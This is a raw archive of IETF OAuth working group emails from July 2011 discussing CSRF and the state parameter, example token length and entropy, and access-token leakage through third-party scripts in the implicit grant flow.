To: Shane B Weeden Date: Wed, 6 Jul 2011 15:39:42 -0700 Thread-Topic: [OAUTH-WG] Timely review request: pre-draft-17 Thread-Index: Acw8LZlKLzf21SIcTkKVZfxTYuasEA== Message-ID: In-Reply-To: Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: user-agent: Microsoft-MacOutlook/14.12.0.110505 acceptlanguage: en-US Content-Type: multipart/alternative; boundary="_000_CA3A0A57161E5eranhueniversecom_" MIME-Version: 1.0 Cc: OAuth WG , "oauth-bounces@ietf.org" Subject: Re: [OAUTH-WG] Timely review request: pre-draft-17 X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 06 Jul 2011 22:46:58 -0000 --_000_CA3A0A57161E5eranhueniversecom_ Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: quoted-printable From: Shane Weeden > Date: Tue, 5 Jul 2011 13:24:36 =960700 6. Section 4.1.1 Authorization Request and section 4.2.1 Authorization Request To protect against CSRF I believe the state parameter should be REQUIRED, unless someone can demonstrate a scenario where it is not used and CSRF is avoided by other means. We need more text explaining exactly how the state parameter should be used= to prevent CSRF if we are going to make it required (I don't have a positi= on on the actual proposal). Otherwise, including it with a fixed value sati= sfy the requirement without adding any value (just wasting bandwidth). EHL --_000_CA3A0A57161E5eranhueniversecom_ Content-Type: text/html; charset="Windows-1252" Content-Transfer-Encoding: quoted-printable


<= span style=3D"font-weight:bold">From: Shane Weeden <sweeden@au1.ibm.com>
Date: Tue, 5 Jul 2011 13:24:36 =960700



6. Section 4.1.1 Authorization Request and section 4.2.1 Authorization
Request
To protect against CSRF I believe the state para= meter should be REQUIRED,
unless someone can demonstrate a scenar= io where it is not used and CSRF is
avoided by other means.
=

We need more text explaining exactly how the state par= ameter should be used to prevent CSRF if we are going to make it required (= I don't have a position on the actual proposal). Otherwise, including it wi= th a fixed value satisfy the requirement without adding any value (just was= ting bandwidth).

EHL
--_000_CA3A0A57161E5eranhueniversecom_-- From bcampbell@pingidentity.com Wed Jul 6 16:07:02 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 49B1121F89B3 for ; Wed, 6 Jul 2011 16:07:02 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -5.905 X-Spam-Level: X-Spam-Status: No, score=-5.905 tagged_above=-999 required=5 tests=[AWL=0.072, BAYES_00=-2.599, FM_FORGED_GMAIL=0.622, RCVD_IN_DNSWL_MED=-4] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id oSDPYBU9GXGy for ; Wed, 6 Jul 2011 16:07:01 -0700 (PDT) Received: from na3sys009aog104.obsmtp.com (na3sys009aog104.obsmtp.com [74.125.149.73]) by ietfa.amsl.com (Postfix) with ESMTP id 6C01521F89B2 for ; Wed, 6 Jul 2011 16:07:00 -0700 (PDT) Received: from mail-qw0-f48.google.com ([209.85.216.48]) (using TLSv1) by na3sys009aob104.postini.com ([74.125.148.12]) with SMTP ID DSNKThTqk8mDQvEY9nbrEg6PVR9xlBl9Q5VA@postini.com; Wed, 06 Jul 2011 16:07:01 PDT Received: by qwj9 with SMTP id 9so295745qwj.21 for ; Wed, 06 Jul 2011 16:06:59 -0700 (PDT) Received: by 10.224.190.135 with SMTP id di7mr120966qab.87.1309993619159; Wed, 06 Jul 2011 16:06:59 -0700 (PDT) MIME-Version: 1.0 Received: by 10.224.28.201 with HTTP; Wed, 6 Jul 2011 16:06:29 -0700 (PDT) In-Reply-To: References: From: Brian Campbell Date: Wed, 6 Jul 2011 17:06:29 -0600 Message-ID: To: Eran Hammer-Lahav Content-Type: text/plain; charset=ISO-8859-1 Cc: OAuth WG Subject: Re: [OAUTH-WG] Example tokens X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 06 Jul 2011 23:07:02 -0000 If I've done the math correctly, 27 characters would give you a little more than 20 bytes worth of randomness (assuming your are using random alphanumeric characters or base64url encoded bytes). 20 bytes is something you see as a SHOULD type minimum length in other protocols for random identifiers. Not sure if that's sufficient reasoning but it's what I can come up with. On Wed, Jul 6, 2011 at 4:40 PM, Eran Hammer-Lahav wrote: > Are the tokens used in the examples long enough? I don't want the examples > to demonstrate poor choice of byte count. > EHL > _______________________________________________ > OAuth mailing list > OAuth@ietf.org > https://www.ietf.org/mailman/listinfo/oauth > > From oleg_gryb@yahoo.com Wed Jul 6 16:27:22 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 0C82021F8A92 for ; Wed, 6 Jul 2011 16:27:22 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.599 X-Spam-Level: X-Spam-Status: No, score=-2.599 tagged_above=-999 required=5 tests=[BAYES_00=-2.599] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 6tdH1qlRlKwk for ; Wed, 6 Jul 2011 16:27:21 -0700 (PDT) Received: from nm16-vm3.bullet.mail.ne1.yahoo.com (nm16-vm3.bullet.mail.ne1.yahoo.com [98.138.91.146]) by ietfa.amsl.com (Postfix) with SMTP id 5A77921F8A91 for ; Wed, 6 Jul 2011 16:27:21 -0700 (PDT) Received: from [98.138.90.57] by nm16.bullet.mail.ne1.yahoo.com with NNFMP; 06 Jul 2011 23:27:14 -0000 Received: from [98.138.87.6] by tm10.bullet.mail.ne1.yahoo.com with NNFMP; 06 Jul 2011 23:27:14 -0000 Received: from [127.0.0.1] by omp1006.mail.ne1.yahoo.com with NNFMP; 06 Jul 2011 23:27:14 -0000 X-Yahoo-Newman-Property: ymail-3 X-Yahoo-Newman-Id: 248536.6746.bm@omp1006.mail.ne1.yahoo.com Received: (qmail 70352 invoked by uid 60001); 6 Jul 2011 23:27:14 -0000 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=yahoo.com; s=s1024; t=1309994834; bh=2+P/bxEKtsmA+krs5ka4Zkk2K+jO8Pi6rOUbMjJHmJg=; h=X-YMail-OSG:Received:X-Mailer:References:Message-ID:Date:From:Reply-To:Subject:To:Cc:In-Reply-To:MIME-Version:Content-Type; b=hDN5vhIuFluCE2w/O2QQI7GgYjJC3brKYTBZcWgK3JEurZRmx+wKurN8tRECSz4m7ZNT8MYZHsPri9ZsEwhyGCDK8jhxPMw9LzgsApc0pLX8iyPCqACqIQJQqr2V/CRthNizDwQlOKrSLO9nozTdwoDsoijUPycXkfnIQ6VvHzE= DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=s1024; d=yahoo.com; h=X-YMail-OSG:Received:X-Mailer:References:Message-ID:Date:From:Reply-To:Subject:To:Cc:In-Reply-To:MIME-Version:Content-Type; b=19iMg8wTFr+YpQ+Sm85X+Qz6X/0x6t9e08mKrhtX1/DJopKONU0ngtYlTADYNLXZfHBUZlbqxE9xl9BY9XgIl2cmUBDi1et2SmURWvD9+PTu3rQqyPwiPqjk9z/WPfbT3IrVb1wkmHWRW72P8E596e55sKtyjiqWC/JT8rtYIRM=; X-YMail-OSG: RzmcxVEVM1k6HDuT6epLl_lyhrbKMzHPEDXRytGIaNkycz9 aI8LC11boQivOi9BycjaxWZrNBgTPPI553rvQwy82_Bgq4p6wWDFNWOXYvGN Zg2UFuLk65tZrtatGLYSbY3V7n0c3wG.DFNDWXKXQL7guLtIWleLei0U9BKC mntSVrAN_kqCGteBtkJwD53niltsBDUsNJnXOQ1CUu.Ki_40CptYa2.O28_8 oj9d_my8wk6n.9YGxk2qoG8HUoztJsxrc5_CNsz6zUDbygy_tljC4XuoUk0y zCToXoe7aY1gGqRQEpeAIUixKUnI7ajRbCxj.GD1r81xtDfX1wNTvkDhxk4I eevzjjUe3XkN.S9BsQg5hkZPsCTj2e1uUYZXVYc_FSZozwjOorVMihA-- Received: from [208.240.243.170] by web121010.mail.ne1.yahoo.com via HTTP; Wed, 06 Jul 2011 16:27:14 PDT X-Mailer: YahooMailRC/572 YahooMailWebService/0.8.112.307740 References: Message-ID: <1309994834.63760.YahooMailRC@web121010.mail.ne1.yahoo.com> Date: Wed, 6 Jul 2011 16:27:14 -0700 (PDT) From: Oleg Gryb To: Brian Campbell , Eran Hammer-Lahav In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Cc: OAuth WG Subject: Re: [OAUTH-WG] Example tokens X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list Reply-To: Oleg Gryb List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 06 Jul 2011 23:27:22 -0000 log2(64^27)=162 bits Looks good. For comparison, 128-bit entropy for a key in symmetric encryption used by SSL is considered as strong. I'm assuming that all those 162 bits are generated by a good randomizer. ----- Original Message ---- > From: Brian Campbell > To: Eran Hammer-Lahav > Cc: OAuth WG > Sent: Wed, July 6, 2011 4:06:29 PM > Subject: Re: [OAUTH-WG] Example tokens > > If I've done the math correctly, 27 characters would give you a little > more than 20 bytes worth of randomness (assuming your are using random > alphanumeric characters or base64url encoded bytes). 20 bytes is > something you see as a SHOULD type minimum length in other protocols > for random identifiers. Not sure if that's sufficient reasoning but > it's what I can come up with. > > On Wed, Jul 6, 2011 at 4:40 PM, Eran Hammer-Lahav wrote: > > Are the tokens used in the examples long enough? I don't want the examples > > to demonstrate poor choice of byte count. > > EHL > > _______________________________________________ > > OAuth mailing list > > OAuth@ietf.org > > https://www.ietf.org/mailman/listinfo/oauth > > > > > _______________________________________________ > OAuth mailing list > OAuth@ietf.org > https://www.ietf.org/mailman/listinfo/oauth > From eran@hueniverse.com Wed Jul 6 16:48:04 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id B73E221F8B20 for ; Wed, 6 Jul 2011 16:48:04 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.707 X-Spam-Level: X-Spam-Status: No, score=-2.707 tagged_above=-999 required=5 tests=[AWL=-0.109, BAYES_00=-2.599, HTML_MESSAGE=0.001] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id zbs2t42Ihsqh for ; Wed, 6 Jul 2011 16:48:03 -0700 (PDT) Received: from p3plex1out02.prod.phx3.secureserver.net (p3plex1out02.prod.phx3.secureserver.net [72.167.180.18]) by ietfa.amsl.com (Postfix) with SMTP id 2DD7121F8B1D for ; Wed, 6 Jul 2011 16:48:03 -0700 (PDT) Received: (qmail 20386 invoked from network); 6 Jul 2011 23:48:02 -0000 Received: from unknown (HELO smtp.ex1.secureserver.net) (72.167.180.19) by p3plex1out02.prod.phx3.secureserver.net with SMTP; 6 Jul 2011 23:48:02 -0000 Received: from P3PW5EX1MB01.EX1.SECURESERVER.NET ([10.6.135.19]) by P3PW5EX1HT001.EX1.SECURESERVER.NET ([72.167.180.19]) with mapi; Wed, 6 Jul 2011 16:48:00 -0700 From: Eran Hammer-Lahav To: Kushal Dave Date: Wed, 6 Jul 2011 16:47:57 -0700 Thread-Topic: [OAUTH-WG] Concerns about Implicit Grant flow Thread-Index: Acw8HSHt4hjr0y+5Tz2vWgmgT9++SAAGV7Rg Message-ID: <90C41DD21FB7C64BB94121FBBC2E7234501D49FDA1@P3PW5EX1MB01.EX1.SECURESERVER.NET> References: <1309984318.28669.69.camel@ground> In-Reply-To: Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: acceptlanguage: en-US Content-Type: multipart/alternative; boundary="_000_90C41DD21FB7C64BB94121FBBC2E7234501D49FDA1P3PW5EX1MB01E_" MIME-Version: 1.0 Cc: "oauth@ietf.org" Subject: Re: [OAUTH-WG] Concerns about Implicit Grant flow X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 06 Jul 2011 23:48:04 -0000 --_000_90C41DD21FB7C64BB94121FBBC2E7234501D49FDA1P3PW5EX1MB01E_ Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable These are all good ways to mitigate the issue, but they don't solve it. If = you are running third-party scripts on the redirection URI page, all bets a= re off as to who is going to end up with the access token, authorization co= de, etc. It is pretty bad security to run any kind of third party code on y= our login page, which in many cases, the redirection page is (Facebook conn= ect, etc.). The callback whitelist doesn't really add any protection against this speci= fic leakage given that no large provider has the resources to scan every re= direction URI page for third-party scripts, analyze them, and block such UR= Is (and do this continuously to monitor changes). What these alternatives do is reduce the likelihood of a leaked credential = being abused, but they are still going to be exposed if all you change is t= he flow, not the redirection URI page. EHL From: oauth-bounces@ietf.org [mailto:oauth-bounces@ietf.org] On Behalf Of B= rian Eaton Sent: Wednesday, July 06, 2011 1:42 PM To: Justin Richer Cc: Kushal Dave; oauth@ietf.org Subject: Re: [OAUTH-WG] Concerns about Implicit Grant flow On Wed, Jul 6, 2011 at 1:31 PM, Justin Richer > wrote: You can still use the access code (web server) flow within a JavaScript application, just without a reliable client secret. The point of the "implicit" flow was to save a roundtrip to the server for light clients with limited lifespans, and it's a tradeoff between security, ease of implementation, and performance. Yep. Two other options. - give out authorization codes via the user-agent flow. We've implemented = a variation of this based on HTML5 and window.postMessage. - use a fixed callback URL for the user-agent flow. Make sure that fixed c= allback URL does not run random bits of script. Then have that fixed callb= ack URL use javascript to convey the token to other pages on the same origi= n. It's a bad idea to use the user-agent flow without a specific whitelist of = callback URLs which can receive the token. --_000_90C41DD21FB7C64BB94121FBBC2E7234501D49FDA1P3PW5EX1MB01E_ Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable

These are= all good ways to mitigate the issue, but they don’t solve it. If you= are running third-party scripts on the redirection URI page, all bets are = off as to who is going to end up with the access token, authorization code,= etc. It is pretty bad security to run any kind of third party code on your= login page, which in many cases, the redirection page is (Facebook connect= , etc.).

 =

The callback whitelist doesn’t= really add any protection against this specific leakage given that no larg= e provider has the resources to scan every redirection URI page for third-p= arty scripts, analyze them, and block such URIs (and do this continuously t= o monitor changes).

 

What these alternatives= do is reduce the likelihood of a leaked credential being abused, but they = are still going to be exposed if all you change is the flow, not the redire= ction URI page.

 = ;

EHL

 

<= p class=3DMsoNormal>From: oauth-bounces@ietf.org [mailto:oauth-bounces@ietf.o= rg] On Behalf Of Brian Eaton
Sent: Wednesday, July 06, 201= 1 1:42 PM
To: Justin Richer
Cc: Kushal Dave; oauth@ietf= .org
Subject: Re: [OAUTH-WG] Concerns about Implicit Grant flow

 

<= p class=3DMsoNormal>On Wed, Jul 6, 2011 at 1:31 PM, Justin Richer <jricher@mitre.org> wrote:=

You can still use the access code (web server) flow within a JavaScr= ipt
application, just without a reliable client secret. The point of the=
"implicit" flow was to save a roundtrip to the server for lig= ht clients
with limited lifespans, and it's a tradeoff between security,= ease of
implementation, and performance.

 

Yep.  Two other options.

 

- give out authoriza= tion codes via the user-agent flow.  We've implemented a variation of = this based on HTML5 and window.postMessage.

 

- use a= fixed callback URL for the user-agent flow.  Make sure that fixed cal= lback URL does not run random bits of script.  Then have that fixed ca= llback URL use javascript to convey the token to other pages on the same or= igin.

 

It's a bad idea to use the user-agent flow wi= thout a specific whitelist of callback URLs which can receive the token.

 

= --_000_90C41DD21FB7C64BB94121FBBC2E7234501D49FDA1P3PW5EX1MB01E_-- From eran@hueniverse.com Wed Jul 6 16:50:12 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 0492821F8B28 for ; Wed, 6 Jul 2011 16:50:12 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.702 X-Spam-Level: X-Spam-Status: No, score=-2.702 tagged_above=-999 required=5 tests=[AWL=-0.104, BAYES_00=-2.599, HTML_MESSAGE=0.001] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id lTEPmevtunV6 for ; Wed, 6 Jul 2011 16:50:10 -0700 (PDT) Received: from p3plex1out02.prod.phx3.secureserver.net (p3plex1out02.prod.phx3.secureserver.net [72.167.180.18]) by ietfa.amsl.com (Postfix) with SMTP id 2EF1A21F8B34 for ; Wed, 6 Jul 2011 16:50:10 -0700 (PDT) Received: (qmail 14524 invoked from network); 6 Jul 2011 23:43:30 -0000 Received: from unknown (HELO smtp.ex1.secureserver.net) (72.167.180.21) by p3plex1out02.prod.phx3.secureserver.net with SMTP; 6 Jul 2011 23:43:30 -0000 Received: from P3PW5EX1MB01.EX1.SECURESERVER.NET ([10.6.135.19]) by P3PW5EX1HT003.EX1.SECURESERVER.NET ([72.167.180.21]) with mapi; Wed, 6 Jul 2011 16:43:24 -0700 From: Eran Hammer-Lahav To: Kushal Dave , "oauth@ietf.org" Date: Wed, 6 Jul 2011 16:43:23 -0700 Thread-Topic: [OAUTH-WG] Concerns about Implicit Grant flow Thread-Index: Acw8G1OiHiNH667wTou58z8AjV2aKAAGszdQ Message-ID: <90C41DD21FB7C64BB94121FBBC2E7234501D49FDA0@P3PW5EX1MB01.EX1.SECURESERVER.NET> References: In-Reply-To: Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: acceptlanguage: en-US Content-Type: multipart/alternative; boundary="_000_90C41DD21FB7C64BB94121FBBC2E7234501D49FDA0P3PW5EX1MB01E_" MIME-Version: 1.0 Subject: Re: [OAUTH-WG] Concerns about Implicit Grant flow X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 06 Jul 2011 23:50:12 -0000 --_000_90C41DD21FB7C64BB94121FBBC2E7234501D49FDA0P3PW5EX1MB01E_ Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable I'm going to add text warning about third-party scripts included on the red= irection URI endpoint. The right solution here is to make sure no script is executed before the cl= ient code gets hold of the access token and hides it. Ideally, the landing = page does not include any third party scripts, and those included should kn= ow better than to include the fragment which in today's web applications ar= e heavily used to manage internal state, not to anchor a part of the docume= nt. EHL From: oauth-bounces@ietf.org [mailto:oauth-bounces@ietf.org] On Behalf Of K= ushal Dave Sent: Wednesday, July 06, 2011 1:08 PM To: oauth@ietf.org Subject: [OAUTH-WG] Concerns about Implicit Grant flow Hello! Foursquare recently encountered a scary example of a client accidentally le= aking user tokens as part of the implicit grant flow. It turns out the offi= cial "Tweet this" button provided by twitter grabs the URL, including fragm= ent, at the time of page load, before the client's Javascript has had a cha= nce to elide the access_token hash value. And it's easy to imagine lots of = other sharing and analytics tools could be similarly aggressive in transmit= ting hash values outside of the page. We've thought a lot about what to do about this, short of disabling the flo= w entirely. One thing that seems viable is to make the "access token" in th= is flow actually a one-time use token. The requesting page would then make = a JSONP request exchanging the one-time use token for a permanent token tha= t is never visible in the URL. Has this come up? Have you had any feedback = from other implementors? We're not excited about such a blatant deviation from the spec, but we're n= ot sure what else to do. Cheers, Kushal --_000_90C41DD21FB7C64BB94121FBBC2E7234501D49FDA0P3PW5EX1MB01E_ Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable

I’m= going to add text warning about third-party scripts included on the redire= ction URI endpoint.

 

The right solution here= is to make sure no script is executed before the client code gets hold of = the access token and hides it. Ideally, the landing page does not include a= ny third party scripts, and those included should know better than to inclu= de the fragment which in today’s web applications are heavily used to= manage internal state, not to anchor a part of the document.

 

EHL

 

 

From: oauth-bounces@ietf.org [= mailto:oauth-bounces@ietf.org] On Behalf Of Kushal Dave
Sent:<= /b> Wednesday, July 06, 2011 1:08 PM
To: oauth@ietf.org
Sub= ject: [OAUTH-WG] Concerns about Implicit Grant flow

 

Hello!

 

Foursquare recently encountered a scary example = of a client accidentally leaking user tokens as part of the implicit grant = flow. It turns out the official "Tweet this" button provided by t= witter grabs the URL, including fragment, at the time of page load, before = the client's Javascript has had a chance to elide the access_token hash val= ue. And it's easy to imagine lots of other sharing and analytics tools coul= d be similarly aggressive in transmitting hash values outside of the page.<= o:p>

 

We've thought a lot about what to do about this, sh= ort of disabling the flow entirely. One thing that seems viable is to make = the "access token" in this flow actually a one-time use token. Th= e requesting page would then make a JSONP request exchanging the one-time u= se token for a permanent token that is never visible in the URL. Has this c= ome up? Have you had any feedback from other implementors?

 

We're not excited about such a blatant deviation from the spec, but= we're not sure what else to do.

 

Cheers,=

Kushal

= = --_000_90C41DD21FB7C64BB94121FBBC2E7234501D49FDA0P3PW5EX1MB01E_-- From eran@hueniverse.com Wed Jul 6 16:50:39 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id B2CCE21F8B4E for ; Wed, 6 Jul 2011 16:50:39 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.696 X-Spam-Level: X-Spam-Status: No, score=-2.696 tagged_above=-999 required=5 tests=[AWL=-0.098, BAYES_00=-2.599, HTML_MESSAGE=0.001] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id ER4YKBDMDX2N for ; Wed, 6 Jul 2011 16:50:38 -0700 (PDT) Received: from p3plex1out02.prod.phx3.secureserver.net (p3plex1out02.prod.phx3.secureserver.net [72.167.180.18]) by ietfa.amsl.com (Postfix) with SMTP id D59A621F8B28 for ; Wed, 6 Jul 2011 16:50:38 -0700 (PDT) Received: (qmail 23598 invoked from network); 6 Jul 2011 23:50:38 -0000 Received: from unknown (HELO smtp.ex1.secureserver.net) (72.167.180.21) by p3plex1out02.prod.phx3.secureserver.net with SMTP; 6 Jul 2011 23:50:38 -0000 Received: from P3PW5EX1MB01.EX1.SECURESERVER.NET ([10.6.135.19]) by P3PW5EX1HT003.EX1.SECURESERVER.NET ([72.167.180.21]) with mapi; Wed, 6 Jul 2011 16:50:39 -0700 From: Eran Hammer-Lahav To: Brian Eaton , Justin Richer Date: Wed, 6 Jul 2011 16:50:37 -0700 Thread-Topic: [OAUTH-WG] Concerns about Implicit Grant flow Thread-Index: Acw8HSHt4hjr0y+5Tz2vWgmgT9++SAAGgXbw Message-ID: <90C41DD21FB7C64BB94121FBBC2E7234501D49FDA3@P3PW5EX1MB01.EX1.SECURESERVER.NET> References: <1309984318.28669.69.camel@ground> In-Reply-To: Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: acceptlanguage: en-US Content-Type: multipart/alternative; boundary="_000_90C41DD21FB7C64BB94121FBBC2E7234501D49FDA3P3PW5EX1MB01E_" MIME-Version: 1.0 Cc: Kushal Dave , "oauth@ietf.org" Subject: Re: [OAUTH-WG] Concerns about Implicit Grant flow X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 06 Jul 2011 23:50:39 -0000 --_000_90C41DD21FB7C64BB94121FBBC2E7234501D49FDA3P3PW5EX1MB01E_ Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable What triggers this flow? If you are using the authorization endpoint with a= different response_type, it would be helpful if you shared that with the w= g as currently, that's simply not allowed (the values are not extensible). = I am going to change that in -17, but based on the requirement presented by= Paul Tarjan. Additional use cases would be extremely helpful. Also, I'd hate to see Google being the first to violate the protocol in tha= t scale. EHL From: oauth-bounces@ietf.org [mailto:oauth-bounces@ietf.org] On Behalf Of B= rian Eaton Sent: Wednesday, July 06, 2011 1:42 PM - give out authorization codes via the user-agent flow. We've implemented = a variation of this based on HTML5 and window.postMessage. --_000_90C41DD21FB7C64BB94121FBBC2E7234501D49FDA3P3PW5EX1MB01E_ Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable

What trig= gers this flow? If you are using the authorization endpoint with a differen= t response_type, it would be helpful if you shared that with the wg as curr= ently, that’s simply not allowed (the values are not extensible). I a= m going to change that in -17, but based on the requirement presented by Pa= ul Tarjan. Additional use cases would be extremely helpful.

 

Also, I’d hate to see Google being the first to violat= e the protocol in that scale.

 

EHL<= /span>

 

From: oauth-bounces@ietf.org [mailto:oauth-b= ounces@ietf.org] On Behalf Of Brian Eaton
Sent: Wednesday,= July 06, 2011 1:42 PM

<= /span>

 =

- give out authorization codes vi= a the user-agent flow.  We've implemented a variation of this based on= HTML5 and window.postMessage.

= --_000_90C41DD21FB7C64BB94121FBBC2E7234501D49FDA3P3PW5EX1MB01E_-- From bcampbell@pingidentity.com Wed Jul 6 20:46:23 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 6977721F8620 for ; Wed, 6 Jul 2011 20:46:23 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -5.915 X-Spam-Level: X-Spam-Status: No, score=-5.915 tagged_above=-999 required=5 tests=[AWL=0.062, BAYES_00=-2.599, FM_FORGED_GMAIL=0.622, RCVD_IN_DNSWL_MED=-4] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id p-Uo8Ns4OC0M for ; Wed, 6 Jul 2011 20:46:22 -0700 (PDT) Received: from na3sys009aog101.obsmtp.com (na3sys009aog101.obsmtp.com [74.125.149.67]) by ietfa.amsl.com (Postfix) with ESMTP id 699CF21F861E for ; Wed, 6 Jul 2011 20:46:22 -0700 (PDT) Received: from mail-qy0-f174.google.com ([209.85.216.174]) (using TLSv1) by na3sys009aob101.postini.com ([74.125.148.12]) with SMTP ID DSNKThUsDXES6gETonVMo/NUSNyxrxbp/FIl@postini.com; Wed, 06 Jul 2011 20:46:22 PDT Received: by mail-qy0-f174.google.com with SMTP id 29so2447142qyk.19 for ; Wed, 06 Jul 2011 20:46:21 -0700 (PDT) Received: by 10.224.125.8 with SMTP id w8mr261280qar.37.1310010381184; Wed, 06 Jul 2011 20:46:21 -0700 (PDT) MIME-Version: 1.0 Received: by 10.224.28.201 with HTTP; Wed, 6 Jul 2011 20:45:51 -0700 (PDT) In-Reply-To: <1309994834.63760.YahooMailRC@web121010.mail.ne1.yahoo.com> References: <1309994834.63760.YahooMailRC@web121010.mail.ne1.yahoo.com> From: Brian Campbell Date: Wed, 6 Jul 2011 21:45:51 -0600 Message-ID: To: Oleg Gryb Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Cc: OAuth WG Subject: Re: [OAUTH-WG] Example tokens X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 07 Jul 2011 03:46:23 -0000 So on the 128-bit note, the examples could probably be a bit shorter, 22 characters would give somewhat more than 128 bits of randomness. But to EHL's original question, the examples (currently 7-12 characters) should probably be longer. On Wed, Jul 6, 2011 at 5:27 PM, Oleg Gryb wrote: > log2(64^27)=3D162 bits > > Looks good. For comparison, 128-bit entropy for a key in symmetric encryp= tion > used by SSL is considered as strong. > I'm assuming that all those 162 bits are generated by a good randomizer. > > > > > ----- Original Message ---- >> From: Brian Campbell >> To: Eran Hammer-Lahav >> Cc: OAuth WG >> Sent: Wed, July 6, 2011 4:06:29 PM >> Subject: Re: [OAUTH-WG] Example tokens >> >> If I've done the math correctly, 27 characters would give you a little >> more =A0than 20 bytes worth of randomness (assuming your are using =A0ra= ndom >> alphanumeric characters or base64url encoded bytes). =A020 bytes =A0is >> something you see as a SHOULD type minimum length in other =A0protocols >> for random identifiers. =A0Not sure if that's sufficient =A0reasoning bu= t >> it's what I can come up with. >> >> On Wed, Jul 6, 2011 at =A04:40 PM, Eran Hammer-Lahav > wrote: >> > Are =A0the tokens used in the examples long enough? I don't want the e= xamples >> > =A0to demonstrate poor choice of byte count. >> > EHL >> > =A0_______________________________________________ >> > OAuth mailing =A0list >> > OAuth@ietf.org >> > https://www.ietf.org/mailman/listinfo/oauth >> > >> > >> _______________________________________________ >> OAuth =A0mailing list >> OAuth@ietf.org >> https://www.ietf.org/mailman/listinfo/oauth >> > From eran@hueniverse.com Wed Jul 6 20:54:03 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 4F3C521F87C6 for ; Wed, 6 Jul 2011 20:54:03 -0700 (PDT) X-Virus-Scanned: amavisd-new at 